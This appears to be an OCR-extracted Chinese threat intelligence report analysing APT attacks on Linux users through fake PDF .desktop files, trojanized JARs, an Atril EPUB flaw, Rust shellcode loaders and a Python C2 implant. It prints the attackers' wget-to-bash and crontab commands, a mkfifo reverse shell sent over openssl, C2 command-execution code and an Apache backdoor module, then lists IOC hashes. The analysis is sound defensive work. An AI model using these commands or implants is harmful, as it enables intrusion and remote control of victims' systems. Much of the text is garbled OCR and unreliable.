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209| Categories=Utility

210| Type=Application

211 Terminal=false/
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https://mp.weixin.qq.com/s/qcsO7RYvM1gTGnjeianfPw

[] #T0% (8T ma SRt RER 2025 - =2EE) A9EA pdf.desktop 2025/10/22 15:12 DESKTOP 7% 20 KB

¢ BEETImSSIRE T RERS2025Em - wEEE pdf 2025/11/11 16:43 Chrome HTML D... 453 KB
[ esEmlmEsSmafERE2005%E: @ 210422 pdf.desktop 2025/10/22 15:12 DESKTOP 3rit 22 KB

X EEWNTREPIT Exec FER T HIHm4.

208/

209| Categories=Utility .

210| Type=Application

211| Terminal=false !

214| Execsbash -c "$(baseb4 -d< < <WTNBZ0lsSkhVa3RZSWIBdmRHMXd
213|

214

AT A ARTRIES 505K C2 , %4 TR M payload.

wget -qO- "https://www. X000 com/common/heartbeat/update.php?response_mode=none&state=1&current=%
2Fhome%:2Fdashboard%2F&scope=userprofile&dsh=51410301982" --header=Cookie:id=@id@ --no-check-certificate |
sed 's/@@Id@@/@id@/g' | fusr/bin/python3" = /tmp/03b264c5-9540-3666-634a-c75d82843%bc fe
crontab /tmp/03b264¢5-9540-3666-634a-c75d828439bc 2023

sleep $(shuf -i 25-100 -n 1)&&wget --user-agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/78.0.3904.108 Safari/537.36" --header="Authorization: Basic ${uname -rp|base64)" --no-check-

certificate -q -O - "b=n = = ; 2"|base64 -d|base64 -d|bash R
20251 F-

-

PDF FE— R EREEE , ERMAEHKAMGEEIRLTH wps FTIZFZCAMIEN -
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(BBNJ HHE ) it 7 5t T S B P 3 [ B e i e S L

] - 0O

1)

(143.7 MB)
3 frame @
33.2 KB)
carrier @ collisions @

T 4P AT e e ) FH 1 A k0 R L S Dt 1 4 2 B

>36 B (R CBBNJ ME )) fEAE= Al . %t
Bxle<host

xip=nost= S SRR TR - REAREE T
3.3 KB)
3 frame © TR E R i Az S R e, TR
1.3 KB)

carrier @ collisions B L R, UM AP SR Tk WU A SR T I 0
[ $ ping www.baidu.
$) bytes of data.
: icmp seq=1 ttl=5) time=34.0 ms

e AT R L T LA X RS
|FAEARAHUE “G0F . PORAT RN

et loss, time Joms
3l/0.000 ms
' % wps httgs:/, » n o
39eefcd4als.docx

ms i

IE T i e L AORF L, 45 1 LR B B a1 ] ] fi

/STOTABL/ |t bt thy b1 ) 01 M 2RI

JAR #4H

KEBD S EELRIRERIATES java, python M5 | AJAEEHE1T jar # py A |, /5E704E 25 4F
VGEET (IAEZRX(FTAAP )BIZZERFEAR jar) . QIEENPBILITGCIERE =R
(BFERAE) docx.jar) . (BEIRIEFIE AR xIs.jar) FAERIHMH4.
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Pl TE=TTERS

'JEVI'&JH?:%O

oo TEA BB (FTAAP ) 5437 R RBAERR. jar i2

- o et
=- EI] resources

E}Imﬂ report—scheduler—1. 0—-SWAPSHOT. jar

- £ NETA-INF

Hain. class

a class

b. class

c. class

:'LT:J‘EE A FIaP I REE S REAERZE doc

in. class

Hain

‘S) :F E HI"HI"HI"HI"HI

.class

5

b.class

+-{3 b

Q-0
maaﬁmﬁ

EA linux RE: , IR ENRRMTEZE report-scheduler-1.0-SNAPSHOT jar 3f

public b{) {
this.a = "TFABBE(FTANR JBErRERERE . doc”;
this.b = ".report-scheduler-1.8-5NAPSHOT.jar";
this.c = "11";

Random random = new Random();

String str =

Paths.get(System.getProperty(“java.io.tmpdir™), new String[8]).resolve(this.a).toString();

if (a(this.a, str)) {
if (talstr)) {

J0pticnPane.showMessagelialogi(null,

return;

¥
} else {

J0pticonPane.showMessagelialog(null,

return;

}

if (!l(str =
return;

"File is corrupted", "Error", 8);

"File is corrupted”, "Error", @8);

System.getProperty("os.name") ). toLowerCase() . .contains("1inux"))

str = Paths.get(a(), new String[@]).resolve(this.b).toString() + ".lock";

try {

RandomAccessFile randomAccessFile = new RandomAccessFile(str, "rw");
Throwable throwable = null;

FTFFBAECAY
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EEMNCPTPPH 3R LA A S s RESEFF. T EHAMESHRCEPF 2
RRAANGE, BATFEARSERAFERES ) RCEP, iL RCEP & &
FTAAPHZEZE. »

[X4}m1TPP; CPTPP; RCEP; %2 %%,; Ea4/5e

+:

“EESHFBAFFRERRNE” (CPTPP) RETEEIFMN “B
AFFMAEXRWE” (TPP) , CPTPP 2L TPPIAEHHAL . A
FrRRE, BRER“2BA#HF "NEHA S 2HEFRFXRIHE "(RCEP)
EEFRISNEEBSNE, @7 PEFZE. FfEITESREN
AER 15 MANERSIZNE, REZSEABHKFRT CPTPP. X
ATEERZWERTARMEFSFASKTER, Wl 7 ERRE— LR
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epub X{iwiR
2025 F14) , BELIRBTHA Nday JRiFEK epub X :

L HTRIA 2024 5 1 FHMRIEH Atril EPUB B2 5 HIRIR -
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Remote Code Execution Vulnerability in Atril's EPUB ebook parsing

Atril EPUB FBF BT RBY T2 b 1 TR

High | lukeframde published GHSA-6mf6-mxpe-je3T on Jan 25, 2024

Pa:hage Affected versions Patched verisang
Atril <= latest MNone
Description

Description: $##:

A Critical Path traversal and Arbitrary file write vulnerability has been discovered in the default document viewer software of MATE DE
affecting popular operating systems such as Kali Linus, Parrol Security 05, Ubuntu-Mate, Xubuntu and all the other Operating Systerms
that use MATE or Atril as default doc viewer.

= BUXHERESFPRRT — T RRREEHIHERTASANA, EFRTORERE, H150 Kl Lnx, Parrot Security
0%, Ubuntu-Mate, Xubuntu BIEFR#H bR MATE o Atnil fERER USSR EHRIER IR,

Summary:

The wulnerabality exists in Atril Document Viewer which is the default document viewer of the MATE environment. Atril is the default
document reader for Kali Linux, Ubuntu-Mate, Parrot Seounty O5, and Xubuntu

ERFBEFEF Atril Document Viewer 48, E& MATE SR TEERE. Ari 8 Kali Linux, Ubuntu-Mate. Pamot Security OF 30

Xuburitu BIRLL T SHD 8.
el " = m L nEe e SN T E--EfS.epub
Tl HERE - = BE - -
=t EMHE E-Siil Fuh
T autostart 2025/6/20 8:23 pral=
[ .icwpnBHQcOKa 2025/6/20 7:22 ICWPNBHQCOK... 35KB

>

Saverity

High } B5 /10

CVES vl base meirics
cvis w3 BEHE

ABCK vector
Altack complexty
Priwibesges requined
User interaction
Scope
Confidentiality
Insogrity

Al lahikty

Leam mane about base metrics

High
High

OVSEA 1 LA PR AU RSO HAH AL

CVEID
2023520
proc > self

cwd

b

.config

1£ autostart BHF T8 7% desktop-service-7803.desktop AESREFFXZ 4L, , .config BR TR
7.icWpnBHQcOKa, desktop fi#%# .icWpnBHQcOKa , FZ&IE1T python TE & .

MEIBRIT

»
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Minimize all open windows and show the desktop

L% cd /home/kali/.config/autostart

( -[~/.config/autostart]
Cs 1 ¢

desktop-service-
File Edit View Go

Index

¢ v booktitle
Table of Contents

-[~/.config/autostart]

PR3 4%

5 2024 £ win FRERRR FAKM , BRENITHA

T2 AR T1F-- EfMl.cpub — booktitle

Bookmarks

Help

Fit Width
UEE-S =Yl
FF EiEE T
=

—RELBAEX
EAREE B 2 1K L

HRER, S, B, B IEER , 48
(BBHEE ) FMHAMITR HFR  WEEN
1 PRFITERIAERZE |, FEALREIR SEW A FELE
TR TRER TIEE | WHEERRZE IR
E'TRAA"ERMIPIZEES R EHITEE
XBiF, ASHMEALRE REEETEHIRIT
_EBRSZEIETE
TREZEERR
HMWERFIHEL
MHEHERRE
BERENIETE
2EEE (K, ) EFEEE e, £ B&8
2T s = Ll T s R I Ach = #iedss74coh
Vi TR N REMKI E PR, EbiBd & X

BREFZE AR, BRI M BRIFAIIR G 2AR , EETIE— A JERNIETE 0day £ Tk
e, FEPAIMEAIZIEH win Kin FASE A, SR mEEEHMANT

E  itibdate-3.2.2.000Lrun X | FtrE
.  wE =57
#1/bin/bash

rm -rf /tmp/.tmp;mkfifo /tmp/.tmp; /bin/sh -i < /tmp/.tmp 2> &1
/tmp/.tmp; rm -rf /tmp/.tmp

- + - —J ~
(&
| openssl s_client -quiet -connect 11 ":8808 >

B1E Openssl SRHLR 5 shell , /5 TRZMEHA, XHEBRSMHOENE MEEFE TrH

V2730 G g N

Win KT S BHALHMT -
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2025-02-11 18:35:21.073460 INFO updater.scv start run

2025-02-11 18:35:21.074458 INFO updater.scv
cmd_str:ZmhwX1hZC0ZzZ29mXw1ocmpSTnBteA9WawSKAdWkOZ1pbaHRsZ|
dWkOZ1pbaHRsZngHbWdScHJtUkpSWFVKcWISB3VpDkZWbQ9aVmgOTnlé
90FWO0OC19tD1pWallacWIGD3FoDgtcWFVKcWISB3VpDkZWbQ9aVmgOTnl
2025-02-11 18:35:21.074458 INFO updater.scv cmd_str:emd@updsve mute:

P Foh FEEN BXEtE
>EE-:-UpdateSvcexe 2096 128 1531927 | 2025-02-11 18:47
@] updater.store.db 12 288 12288 2025-02-25 08:13
RE
(A AESIAD

IEHARIEECITF SR elf KB 5E4 linux FAHK] elf HIRHETE

Offset({h) 00 01 02 03 04 05 06 07 08 0% OR OB OC OD OE OF RIRIILE

1FEELF
00000000 TF 45 4C 46[02 01 01|00 00 00 00 0O 00 OO0 00 00 .ELF............ S5 ]
00000010 ©03 00 B7 00 01 00 00 00 30 57 00 00 00 00 00 00 ..-..... oW......

00000020 40 00 00 00 00 00 00 00 EQ 13 02 00 00 00 00 00 @....... .

00000030 00 00 00 00 40 00 38 00 09 00 40 00 1B 00 1A 00 ....@.8...@.....

Offset(h) 00 Ol 02 03 04 05 0 07 O 09 OA OB OC 0D OE OF ®IE/03:

00000000 7F 45 4C 46[00 00 oo]oo 00 00 00 00 00 00 00 00 LELF............ *EEZK
00000010 02 00 BT 00 01 00 00 00 BC 32 40 00 00 00 00 00  vv-vu... 128, .. ..
00000020 40 00 00 00 00 00 00 00 10 TE 17 00 00 00 00 00 @eueu.... e
00000030 00 00 00 00 40 00 38 00 05 00 40 00 11 00 10 00 ... B.8...@.ue..

ZAECIATIBITR ELF XX+ Magic Number [FRI=MFT (BTANRER. WnFABRAE) BEF , 5K
W7 —FhR R RIS, S EEL Linux REEERAIAEER ERTEERTMIBLERIT | 58]
FRABEEETETT. TR OBITHAET , THRWBERIE~EARSERIREETIEE
BIRNERE,

elf KG#% (2485 Operation hurricanel? Jr 4] rust 455 —3,
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(GHUO)} 11.2.
1 20211120.rustc

(49

2023-11

QOL7TTD1O 04 S 53 00 Q0 00 QQ 00 Q0 0 00 00 Q0 00 02 00

QOLTTDZ0 20 00 00 00 Q0 00 00 00 &8 23 55 00 00 00 00 00

QO17TD3I0 |47 43 43 3JA 20 28 4T 4E 55 29 20 31 31 ZE 32 ZE

QO17TTD40 Bl 20 32 3F0 32 31 31 31 32 30 00 72 75 T3 T4 63

QOQ17TTDSO RO Te 65 T2 T3 65 6F 6E 20 31 ZE 37 36 ZE 30 2D version 1.
QQ1l7TDe0 ||BGE 6929 67 €8 T4 oC TS 20 28 34 39 62 33 359 32 39 nwhlejaa=nily
QO17TTDTO B2 64 20 32 30 32 33 2D 31 31 2D 32 3T 29 00 00 |«
QOLTTDED OO0 OO0 Q0 OO0 Q0 00 Q0 00 Q0 00 Q0 00 Q0 Q00 00 00

REWAERSM—ETEIERE PE 34 shellcode . , {50IFAHMEL , RN EIESNF K
AGELTHAZ EMEKRE , RIGHIT shellcode i) rust 455,

Jimvsd:
Limvsd:
Limvsd:
Jimvsd:
Limvsd:
Limvsd:
Jimved:
Limvsd:
Jimvsd:
Limvsd:
Limvsd:
Jimvsd:
Limvsd:
Jimvsd:
Limvsd:
Limvsd:
Jimvsd:
Limvsd:
Limvsd:
Limvsd:
Limvsd:
Jimvsd:
Limvsd:
Limvsd:
Jimvsd:
.imvsd:
Jimvsd:
Limvsd:
Limvsd:
Jimvsd:
Limvsd:
Limvsd:
Jimvsd:

dmucd-

2000000000527A68 MRS
B000000000527ABC STP
2epoppeepas27A78 STP
2200000000527A74 STP
2200000008527ATE ADR

X15, #3, c4, c2, %0

X@, X1, [SP,#var_18]
X2, X3, [SP,#@xle+var_20]!
X29, X30, [SP,#@x20+var_30]!

X12, start

©000000000527A7C ADR X13, off_527880
2800000000527A806 LDR 13, [X].S]
2000000000527A54 SUB X12, X12, X13
0000000000527A58 ADR xe, off_S27AF@
2800000000527A8C LDR Xa, [XG]
©000000000527A98 ADR X1, qword_S527AF8
©000000000527A94 LDR x1, [x1]
2000020000527A95 ADR X2, qword 527AE8
©000000000527A9C LDR x2, [x2]
2200000000527AA8 ADD e, Xe, X12
2000020000527A04 ADD X1, X1, X@
0000000000527AA4

52TAAP
0000000000527AA8 loc_527AAS
2000000000527AA8 LDRB W3, [xe]
2000000000527AAF EOR W3, W3, W2
©000000000527ABp STRB W3, [xe]
ogooepee0Rs527ABR EXTR 2, X2, X2, #8
©000000000527ABF ADD xe, xe, #1
0000000000527ABF CMP xe, X1
2200000000527ACP B.NE loc_527AAS

274Ck
2e0000ee88527AC4 LDP X29, X3@, [SP+B)~:38+VaI‘_30]
2000000000527ACE LDP X2, X3, [SP+@x2@+var_28
©000000000527ACC LDP Xe, X1, [SP+@xie+var_

2200000000527AD8 MSR
@epeppeepas27AD4 LDR

0200000000527AD8 BR
ARARRRAARAS I TANR

#3, c4, c2, #0, X15

.text:B000B0E0RR4BABES
.text:B0000000R04BABEC
.text:B0BB0ERERE4BABFE
.text:BobooERERR4BABFL
.text:B000BEEERR4BABFE

REMRD
AT EECHRMEN R | BERARRITT SHRENSD , Z ABTENIN , FESB RS

HENATRER — kMR D,

HKE— (AMTR)

; byte_488178

H

CODE XREF: start+584]j

EOR
5TR
LDR
BLR
ADRP

486C2C DCD exECASF251 l

r249A95F53F4,
JpE2SF2B(BB1B9B4AF,
AF21526DEBL1B9271,
‘[EB3AFG4CFALADEESD,
BE25F34CCTETE4AE,
EB7AF18CFBDAEBED,
AF21326DC118988D,
CF25F213F9ASERED,
BAZSFBCAALLBASEF,
EB7AF18CFBDBE@SD,

BxC762324CA95F1713,
BxC766326DE8189AT1,
@xEDSAREGEIB1B9B51,
@xEB26D25386479868@,
@x8A25F2CCAI5B5378,
@xEB26D253851BBB6F,
exAA2SAC33(12B5B78,
@xAF25F1B1AASBE3S0,
@xCF25F433A9589678,

; CODE XREF: start+7@ij
. DAT F: ctart o

start+6C4
527AE@lo

i ¥

Bx2A2592A6AB581F31,
@x9424F1BCE4189B11,
BxADE4BESDDBY99731,
@xAF25F1B1F9AGEBED,
BxAFl6324CCR18931e,
BxC7663E4CEBLBIATA,
@x29DABDIDFBDIERSD,
BxC725E1B9F919C8E3,
Bx8B25F@9FB4189A78,

; HMAshellcode

Xe, X1, X
Xe,
Xe,
Xe
X2, #quord_527198@PAGE

DCQ BxAF25F1ACB2989B6E, G)(A.FZE:?GDCB‘.[S'?;?]., Bx2A25F24DC264

BwAF21E
BxEBTAF
BxBE25F
BxBE25F
@x6CASH
BxOTIAL
@xEB26L
BxF524F
Bx6169/

[X2,#qword_5271B8@PAGEOFF]
[SP,#8x68A8+var_mem]
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ZHED C2 [EENMERARS 25 IP B9 15001 35 H |, {# B E XIMGHFFRFNEFETs4S |, A ping 1
init , &3 ping 40 , JREE[iGEE “pong” , HAIX init B , S¥HEKEIR shellcode BT
CreateThread AT,

PRI~
A pyinstaller 3T/ elf KD |, 152EUR B R FHIECE L.

config = "/lib¥Xll.=s0.6"
if os.path.exists(os.getowd() + config):
with open{os.getowd() + config, "rk') as (f):
'nPSEBBzVHA] "))

protect (sign{f.read(),

VR sign BREOHITHER

Sldef signix, ¥y):
B = (y * (len(x) // len(y) + 1)) [:len(x)]
v = "".Join()
return v

=TT VA R protect BR¥IE N\ F22%8.

ldef protect (k) :

] try:
d, o = b.split('|")
11 = '°!

- T T
E

5
3 = 20

'wn' + os.getcwd() .encods() + L =

BB ENBIEN B d EE 1P, ¢ igA , {# ssl X TEE.
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while True:

try:
t=2 = normal {t, 7J)
time.slesp (ts)
= = socket.socket (2, 1)
ss = ss5l.wrap socket(s)

ss.connect {((d, 1nt{c)))
if mem:

=ss5.3end (mem)

mem = "'

el=e:
sz.3=2nd({=ol)
while True:
ss.settimecut (20
r = ss.recv(l0Z4)

St C2 #HRMBIREIATNE] , BT HE4.

try:
if r.startswith('tim="):
mem = ‘now {} [}'.format(t, J).encods()
s=z.close()
else:
if r.startswith('=1£"):
sp = r.split (' ")
assert len(sp) = 32
t = int(spl[l])
§ = int(spl2])

mem = "apply [} {}'.format(sp[l], spl2]).encods()
s=z.close()
else:
try:
. base64.béd4decode (" c3VicHIvYZVzcC w==") .decode () f#subprocess
_J baset4 . bEddecode ("'¥2h1Y2c£fR3V0cHVO") .decode () #check_jutpuﬂ

oo
[/

o

. getattr(_  import_ (_a), _b)
N shlex.split (x)

mem = _cf_d) + =ol

s=.closs ()
except:

break

% (PRERL R IR subprocess ) check_output EREH T B 1FIE KK T4

Bt 10T & BENEI]

FRERNRERND REEINEANT — M HRNE3E]] , FHRE portmap g3 A EIRS C2 AR
% , FiESI T E T A Operation OceanStormBIZ&4 .
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1]

54| 2025-02-06 17:10:03 [noticq] : EFadmin(4 JiesET, |
55| 2025-02-06 17:10:03 [notice] : BFadmin(: =l )EEET, |
56| 2025-02-06 17:10:03 [informational] : EFadmifima 2. 16.0.258F, |
57|2025-02-06 17:10:41 [warning] : EETIEH172.16.1 21808 F S E =6 =, |

58| 2025-02-06 17:10:52 [informational] : EFadminM172.16.1.218F, |

f§

25N AT R AFFEIRE apache2 BackdoorMod,

Apache2 mod_backdoor

mod_backdoor is a stealth backdoor using an Apache2 module.

The main idea is to fork() the primary Apache? process just after it has loaded its config. Since it's forked before the
root user transfers the process to www-data, you can execute command as root.

As Apache? loads its configuration only when you (re)start it, the challenge was to never let die this forked root
apache? process, to let us interact as root with the compromised system.

WENTAHE 32227 v,

fork( , , |
21 auth_user = (int)}"kxUjcx4]8BwQ";
22 auth_pass = (int)}"uTIXpbISCNps";
23 if (! ]

24 {

25 daemen(@LL, @LL);

26 signal(13LL, 1LL};

27 = shlist new(4LL, 8LL);

25 if { server_setup((int) , (intp"@.@.e.@", 32227LL) i

perror{(int)"server_setup"};

31 return 1;

32 }

33 server = (int) ;
34 while { 1}

ag I

I0C

Md5:

31d2192170e92579779b30aea102c121

9¢70b4d193aaf41241d86fb45920564¢
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bc99b603530609d7b6f40c7f12fbe2e
7b9f197532d342af5244ef1d3f2e9f4d
a898d4d6e24a4612effa2b13d885fe99
5¢cfb68302f0736754906442185b2c0d5
3ae561425ac07975fdf4cd1d9c893534
e1e3da8296ea93b3b4f49c959c6f6815

467f39b8c0efad1202fcd111005a6f03

SR

[1] https://ti.gianxin.com/blog/articles/peeking-at-the-cyber-sea-lotus-of-the-nine-dash-line-in-the-
south-china-sea/

[2] https://ti.gianxin.com/blog/articles/operation-hurricane-a-brief-discussion-of-the-techniques-
and-tactics-of-the-new-oceanlotus-group-in-memory-cn/

[3] https://ti.gianxin.com/blog/articles/Operation-OceanStorm:The-OceanlLotus-hidden-under-the-
abyss-of-the-deep/

~

SR SC ZALPHA 8.3

BPZIBN 71 BRI

APT - B
F—EEERE (APT-Q-36) FIMA WebSocket AT StreamSpy 447
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